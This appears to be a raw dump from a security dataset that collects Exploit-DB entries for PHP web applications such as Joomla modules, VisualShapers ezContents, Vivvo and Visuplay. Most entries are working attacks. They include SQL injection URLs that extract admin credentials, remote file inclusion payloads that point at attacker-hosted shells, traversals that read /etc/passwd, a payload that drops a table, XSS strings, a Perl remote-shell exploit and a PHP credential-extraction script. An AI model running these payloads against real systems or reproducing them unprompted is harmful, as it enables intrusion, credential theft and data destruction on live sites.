deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14952
Description: Visitors Google Map Lite 1.0.1 Free mod_visitorsgooglemap Module - SQL Injection
Type: webapps
Platform: php
Date: 2010-09-09
Author: Chip d3 bi0s

Exploit:
Visitors Google Map Lite 1.0.1 (FREE) (module mod_visitorsgooglemap Remote Sql Injection)
=========================================================================================

- Discovered by	: Chip D3 Bi0s
- Email         : chipdebios[at]gmail[dot]com
- Group         : LatinHackTeam
- Date          : 2010-09-08
- Where         : From Remote

-------------------------------------------------------------------------------------
Affected software description

Application     : Visitors Google Map Lite 1.0.1 (FREE) (module:mod_visitorsgooglemap) 
Developer       : Serdar Gökkus
Compatibility   : Joomla 1.5 Native
License         : GPLv2 or later
Date Added      : Sunday August 29, 2010 01:14:14
Download        : http://www.comlantis.com/download/doc_download/2-visitors-google-map-lite-101-free.html

I. BACKGROUND

This extension tracks visitors of your site in real time and displays their
locations in Google Map. It uses three main technologies:

- Map API of Google
- AJAX
- IP geolocation API of IPInfoDB

Content of VisitorsGoogeMap Package:
This extension contains one Joomla Compoment and two Joomla Modules.

com_visitorsgooglemap: This component is responsible for the creation
                       database table during installation and remove 
                       it clearly in case of uninstallation.

mod_visitorsgooglemap: This module is responsible for the display of
                       Google Map in desired module position in your
                       template and track the visitors of your Joomla
                       page in the map.

mod_visitorsgooglemap_agent: This module is responsible for the updating
                             visitors information in the database.

II. DESCRIPTION

Some sql injecton vulnerabilities exist in mod_visitorsgooglemap module .


III. ANALYSIS

The bug is in the following files, specifying the lines

/mod_visitorsgooglemap/map_data.php


[16] [if ($_GET['action'] == 'listpoints') 
[17]		{
[18]			$lastMarkerID = $_GET['lastMarkerID'];
[19]			ini_set('default_mimetype','text/xml'); // manchmal notwendig
[20]			header ('Content-Type: text/xml'); // reicht nicht immer
[21]			echo '<?xml version="1.0" ?>';
[22]			echo '<xmlresponse>';
[23]	    $database =& JFactory::getDBO(); 
[24]	    $query = "SELECT * FROM #__visitorsgooglemap_location where id > $lastMarkerID order by id";

 Explanation:As noted in the line [24] $ lastMarkerID
 nowhere is filtered, which result in a query pede unexpected


IV. EXPLOITATION

http://site/path/modules/mod_visitorsgooglemap/map_data.php?action=listpoints&lastMarkerID=0{sql}




+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++
Exploit-DB #28229
Description: VisNetic Mail Server 8.3.5 - Multiple File Inclusions
Type: webapps
Platform: php
Date: 2006-07-17
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/19002/info

VisNetic Mail Server is prone to multiple local file-include vulnerabilities and a remote file includes vulnerability. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files or local files containing malicious PHP code and execute it in the context of the web server process. This may allow the attacker to compromise the application and access the underlying system.

Version 8.3.5 is vulnerable to this issue; prior versions may also be affected.

http://www.example.com/mail/settings.html?id=[current_id]&Save_x=1&language=TEST http://www.example.com:32000/mail/index.html?id=[curent_id]&lang_settings[TEST]=test;&lang_settings[TEST]=test;c:\[file]%00; http://www.example.com/mail/index.html?id=[curent_id]&lang_settings[TEST]=test;&lang_settings[TEST]=test;\\[host]\[share]\[file]%00;
Exploit-DB #22826
Description: VisNetic WebMail 5.8.6 .6 - Information Disclosure
Type: webapps
Platform: php
Date: 2003-06-23
Author: posidron

Exploit:
source: https://www.securityfocus.com/bid/8018/info

VisNetic WebMail is prone to an information disclosure vulnerability. Reportedly, by appending a dot '.' character to the end of a URI request to WebMail, the source code of PHP files may be returned in the web browser.

http://webmailhost:32000/mail/admin/../include.html.
http://webmailhost:32000/mail/admin/../settings.html.
Exploit-DB #3175
Description: VisoHotlink 1.01 - 'functions.visohotlink.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-22
Author: bd0rk

Exploit:
#!/usr/bin/perl
#
#VisoHotlink 1.0 Remote File Include Exploit
#
#Download: http://www.easy-script.com/compt.php?id=3312
#
#Vulnerable Code: require_once( $mosConfig_absolute_path . '/includes/mosGetParam.php' );
#
#Coded by bd0rk || SOH-Crew
#
#Usage: exploit.pl [target] [cmd shell] [shell variable]
#
#Greetings: str0ke, TheJT, Doener, Perle, CodeR
#
#

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'includes/functions.visohotlink.php?mosConfig_absolute_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[....]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[....]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *VisoHotlink 1.0 Remote File Include Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: exploit.pl [target] [cmd shell location] [cmd shell variable]\r\n\n";
 print " <Site> - Full path to VisoHotlink ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by bd0rk \r\n";
 print "                           www.soh-crew.it.tt \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2007-01-22]
Exploit-DB #3999
Description: Vistered Little 1.6a - 'skin' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-05-28
Author: GoLd_M

Exploit:
# Vistered Little 1.6a Remote File Disclosure Vulnerability
# Page Script : http://windyroad.org/vistered-little-1.6a.zip
# Exploit : [path]/skins/common.css.php?skin=../../../../../../etc/passwd%00
# Discovered by: Mahmood_ali

# milw0rm.com [2007-05-28]
Exploit-DB #2141
Description: Visual Events Calendar 1.1 - 'cfg_dir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-07
Author: Mehmet Ince

Exploit:
#title: Visual Events Calendar v1.1   (cfg_dir) Remote Inclusion Vulnerability

#Author: xoron

#script: Visual Events Calendar v1.1

#Class : Remote

#cont@ct: x0r0n[at]hotmail[dot]com

#CODE:    include $cfg_dir."customize_text.php";

#Exploit: http://www.site.com/[path]/calendar.php?cfg_dir=http://evil_scripts?

#Thanx : WWW.CYBER-WARRiOR.ORG

#Greetz: str0ke, ShiKaA , DJR , x-mastER ,R3D4c!D ,

# milw0rm.com [2006-08-07]
Exploit-DB #41256
Description: Visual Link Sharing Websites Builder Script 2.1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Flippy LinkShare – Visual Link Sharing Websites Builder Script v2.1.0 - SQL Injection
# Google Dork: N/A
# Date: 06.02.2017
# Vendor Homepage: https://www.flippyscripts.com/
# Software Buy: https://www.flippyscripts.com/flippy-linkshare-visual-link-sharing-websites-builder/
# Demo: http://linkshare2.flippydemos.com/
# Version: 2.1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/profile.php?id=[SQL]
# http://localhost/[PATH]/cat.php?cid=[SQL]
# http://localhost/[PATH]/user_posts.php?id=[SQL]
# Etc...
# -9999+/*!50000union*/+select+1,2,3,4,concat_ws(0x3a,adminuser,0x3a,adminpassword),6,7,8,9,10,11,12,13,14,15+from+admin--
# # # # #
Exploit-DB #5375
Description: visualpic 0.3.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-04-05
Author: Cr@zy_King

Exploit:
                                  -Coderx.Org-
                                [Digital-AngeLs] 

^| By Cr@zy_King / crazy_kinq@hotmail.co.uk \

^| Special Greatz All My Friends to str0ke \

^| VisualPic 0.3.1 Remote File Ä°nclude \

^| Down : http://www.snarky.fr/index.php?page=telechargement-2 \

^| Error : include($_CONFIG['files']['functions_page']) ; \

^| Files : index.php \

^| Rfi : http://localhost/?_CONFIG[files][functions_page]=http://shell \ 

# milw0rm.com [2008-04-05]
Exploit-DB #30851
Description: VisualShapers EZContents 1.4.5 - File Disclosure
Type: webapps
Platform: php
Date: 2007-12-05
Author: p4imi0

Exploit:
source: https://www.securityfocus.com/bid/26737/info

VisualShapers ezContents is prone to a vulnerability that allows remote attackers to display the contents of arbitrary local files in the context of the webserver process.

An attacker can exploit this issue to retrieve potentially sensitive information that may aid in further attacks.

This issue affects ezContents 1.4.5; other versions may also be vulnerable. 

http://www.example.com/ezcontents1_4x/index.php?link=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
Exploit-DB #23537
Description: VisualShapers EZContents 1.4/2.0 - 'module.php' Remote Command Execution
Type: webapps
Platform: php
Date: 2004-01-10
Author: Zero X

Exploit:
source: https://www.securityfocus.com/bid/9396/info

A problem in handling of specific types of input passed to the module.php script in VisualShapers ezContents has been discovered. Because of this, an attacker may be able to gain unauthorized access to vulnerable systems.

http://www.example.com/module.php?link=http://attacker.example.com/index.php&cmd=cat /etc/passwd
Exploit-DB #23684
Description: VisualShapers EZContents 1.x/2.0 - 'archivednews.php' Arbitrary File Inclusion
Type: webapps
Platform: php
Date: 2004-02-11
Author: Cedric Cochin

Exploit:
source: https://www.securityfocus.com/bid/9638/info
 
It has been reported that ezContents may be prone to a file include vulnerability in multiple modules. The problem reportedly exists because remote users may influence the 'GLOBALS[rootdp]' and 'GLOBALS[language_home]' variables in the 'db.php' and 'archivednews.php' modules.
 
This vulnerability is reported to affect ezContents 2.0.2 and prior running on PHP 4.3.0 or above.

http://www.example.com/[ezContents_directory]/modules/news/archivednews.php?GLOBALS[language_home]=http://www.example.com/&GLOBALS[gsLanguage]=ezContents
Exploit-DB #23683
Description: VisualShapers EZContents 1.x/2.0 - 'db.php' Arbitrary File Inclusion
Type: webapps
Platform: php
Date: 2004-02-11
Author: Cedric Cochin

Exploit:
source: https://www.securityfocus.com/bid/9638/info

It has been reported that ezContents may be prone to a file include vulnerability in multiple modules. The problem reportedly exists because remote users may influence the 'GLOBALS[rootdp]' and 'GLOBALS[language_home]' variables in the 'db.php' and 'archivednews.php' modules. 

This vulnerability is reported to affect ezContents 2.0.2 and prior running on PHP 4.3.0 or above.

http://www.example.com/[ezContents_directory]/include/db.php?GLOBALS[rootdp]=http://www.example.com/
Exploit-DB #28464
Description: VisualShapers EZContents 2.0.3 - 'Headeruserdata.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-08-30
Author: DarkFig

Exploit:
source: https://www.securityfocus.com/bid/19777/info

ezContents is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/headeruserdata.php?groupname=' UNION SELECT userpassword FROM authors INTO OUTFILE '/www/passwd.txt' #
Exploit-DB #28465
Description: VisualShapers EZContents 2.0.3 - 'Loginreq2.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-08-30
Author: DarkFig

Exploit:
source: https://www.securityfocus.com/bid/19780/info

ezContents is prone to a cross-site scripting vulnerability because it fails to sanitize input before displaying it to users of the application.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/loginreq2.php?subgroupname="><script>alert(666)</script>
Exploit-DB #33550
Description: VisualShapers EZContents 2.0.3 - Authentication Bypass / Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-01-19
Author: AmnPardaz Security Research Team

Exploit:
source: https://www.securityfocus.com/bid/37858/info

VisualShapers ezContents is prone to an authentication-bypass vulnerability and multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

ezContents 2.0.3 is vulnerable; other versions may also be affected.

The following example data is available:

login page: admin' AND IF(@Condition,BENCHMARK(1000000, md5(10)),2) OR '1'='1
Exploit-DB #32714
Description: Visuplay CMS - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-01-12
Author: Joseph Giron

Exploit:
source: https://www.securityfocus.com/bid/33209/info

Visuplay CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/html/news_article.php?press_id=1;DROP%20table%20news;--&nav_id=7
Exploit-DB #11429
Description: Vito CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-13
Author: hacker@sr.gov.yu

Exploit:
####################################################################
.:. Author : hacker@sr.gov.yu
.:. Contact: hacker@evilzone.org, hacker@sr.gov.yu(MSN)
.:. Home : www.evilzone.org
.:. Script : Vito CMS
.:. Info link: http://kameleon-lab.com/vito-cms.php
.:. Versions: ALL
.:. Bug Type : Sql Injection
.:. Risk: High
.:. Tested on : Windows & Linux
####################################################################

===[ Exploit ]===

.:. It was found that Vito CMS does not validate properly the "id"
parameter value.

http://server/duga_vest.php?id=1[SQL]

===[ Example ]===

http://server/duga_vest.php?id=-217+UNION+SELECT+1,2,3,group_concat(id,0x3a,username,0x3a,password,0x3a),5,6,7,8+from+members--

===[ Solution ]===

.:. Input validation of "id" parameter should be corrected.


Greetz to ALL EVILZONE.org members!!!
Pozdrav za sve iz Srbije!!! :-)))
Exploit-DB #2353
Description: Vitrax Pre-modded 1.0.6-r3 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: CeNGiZ-HaN

Exploit:
credits: CeNGiZ-HaN
contact: cengiz-han@system-defacers.org
team: www.system-defacers.org
risk: High
script: vitrax premodded phpbb
script site: www.vitrax.org

Exploit:

http://[target]/[path]/includes/functions_portal.php?phpbb_root_path=phpshell.txt?


GreeTz  No One =)

# milw0rm.com [2006-09-12]
Exploit-DB #10297
Description: Vivid Ads Shopping Cart - 'prodid' SQL Injection
Type: webapps
Platform: php
Date: 2009-12-03
Author: Yakir Wizman

Exploit:
<?php
# Vivid Ads Shopping Cart (prodid) Remote SQL Injection
# Author: Pr0T3cT10n, pr0t3ct10n[at]gmail[dot]com
# This code was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
# Dork: "Vivid Ads Shopping Cart"
# nullbyte.org.il

$site = 'www.example.com'; # Site address
$path = '/path'; # Folder path
$contents = '';
$sock = fsockopen($site, 80, $errno, $errstr, 30);
if(!$sock){
    echo('( ' .$errstr.$errno. ' )'."\n");
}
else{
    $pack = "GET " .$path. "/detail.php?prodid=-1+union+select+1,2,3,concat(char(60),login,char(59),password,char(62)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+admin HTTP/1.1\r\n";
    $pack.= "Host: " .$site. "\r\n";
    $pack.= "Connection: Close\r\n\r\n";
    if(fwrite($sock, $pack)){
        while(!feof($sock)){
            $contents.= fgets($sock, 4096);
        }
        if(preg_match('/<(.*);(.*)>/', $contents, $matches)){
            echo('User: ' .$matches[1]. ';'."\n".'Pass: ' .$matches[2]. ';'."\n".'Admin login: http://' .$site.$path. '/admin/'."\n");
        }
        else{
            echo('Can\'t pull out admin details.'."\n");
        }
    }
    else{
        echo('Can\'t write socket.'."\n");
    }
}
?>
Exploit-DB #2339
Description: Vivvo Article Manager 3.2 - 'classified_path' File Inclusion
Type: webapps
Platform: php
Date: 2006-09-09
Author: MercilessTurk

Exploit:
#########################################################################
#MercilessTurk info@kahramanhost.com
#########################################################################
#App Name: phpWordPress (Vivvo Article Manager)
#App Author: vivvo.net
#App Version: <=3.2
#########################################################################
#Vulnerable Code in HTML_function.php function HTML_Category_Menu() :
#line 51: include_once($classified_path.'export_category.php');
#if register_globals = On then this code can include $_GET['classified_path']
#in index.php HTML_Category_Menu() function is called:
#line 45:
#$box_sections_HTML=HTML_Category_Menu();
#########################################################################
#Usage:
#http://[target]/[path]/index.php?classified_path=http://[evil_script]?
#########################################################################
#For google searching:Vivvo Article Manager
#########################################################################
#Greetz: sanaldarbe.com members.
#########################################################################

# milw0rm.com [2006-09-09]
Exploit-DB #2337
Description: Vivvo Article Manager 3.2 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2006-09-09
Author: MercilessTurk

Exploit:
############################################################
#MercilessTurk info@kahramanhost.com
############################################################
#App Name: phpWordPress (Vivvo Article Manager)
#App Author: vivvo.net
#App Version: <=3.2
############################################################
#Vulnerable Code in pdf_version.php :
#line 19: $aid=secure_sql($_GET['id']);
#line 20: $query="SELECT * from tblArticles where id=$aid";
#secure_sql function doesn't block all sql injection attacks.
############################################################
#You will need a pdf reader.
#SQL Injection String:
#http://[target]/[path]/pdf_version.php?id=-1%20UNION%20SELECT%201,2,3,password,5,6,username,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24%20FROM%20tblUsers%20where%20userid=[target_user_id]
############################################################
#Admin Panel:http://[target]/[path]/admin
############################################################
#For google searching:Vivvo Article Manager
############################################################
#Greetz: sanaldarbe.com members.
############################################################

# milw0rm.com [2006-09-09]
Exploit-DB #3326
Description: Vivvo Article Manager 3.4 - 'root' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-02-16
Author: Snip0r

Exploit:
===================================================================================================
Author: Snip0r
Script Name: Vivvo Article Manager v 3.4
Website: www.vivvo.net
===================================================================================================
Codesnippet of vulnerable script ("./include/db_conn.php"):

if (file_exists($ext_base_conf_file)) include_once($ext_base_conf_file);
===================================================================================================
Exploit:

http://victim.com/ [Vivvo Article Manager Path] / include / db_conn.php?root=[SHELL_URL]?
===================================================================================================
Greets fly out to: D-T-O, Blutkehle666,Chris,Doc,Legija0ne,Higgy,Anthra><,Basti and bi0
=================================================================================================== 

# milw0rm.com [2007-02-16]
Exploit-DB #17920
Description: Vivvo CMS - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-10-02
Author: JaBrOtxHaCkEr

Exploit:
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Exploit Title: Vivvo CMS - Local File include    !
D0rk: Find YourSelf =)                           !
Date: Sun, 02 Oct 2011 11:55:00 =)               !
Author: JaBrOtxHaCkEr                            !
E~mail My ^ v7_@hotmail.com ^                    !
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

#
Vulnerable SOftware:
#

********************************************************************
Vivvo CMS is an intuitive content management system atop a powerful programming
framework, empowering numerous industry leading online newspapers, magazines,
journals, TV and radio stations.
********************************************************************

********************************************************************
W3B : www.vivvo.net
Vr$i0n: v4.5 Or All
********************************************************************
Err0r In

File : compress.php?(css),file/namecss

Expl0it : site.com/compress.php?php,conf

# conf.php ~ (conf) (php) "site.com/compress.php?(php),(conf)"

File extension : TXT , PHP , css , rs , ..... all

site.com/compress.php?( ? ),filename


###############################################################
GrEetz To : HaCkEr KsA ~ ­iNjeCt ~ dEV!L-nEt ~ p0c.cc ~ Tryag.cc ~ v99x.com ~ All Friends My :$ <3
Exploit-DB #27855
Description: Vizra - 'A_Login.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-11
Author: R00TT3R

Exploit:
source: https://www.securityfocus.com/bid/17949/info

Vizra is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/destek/admin/a_login.php?message=<b>security-testing-roott3r</b>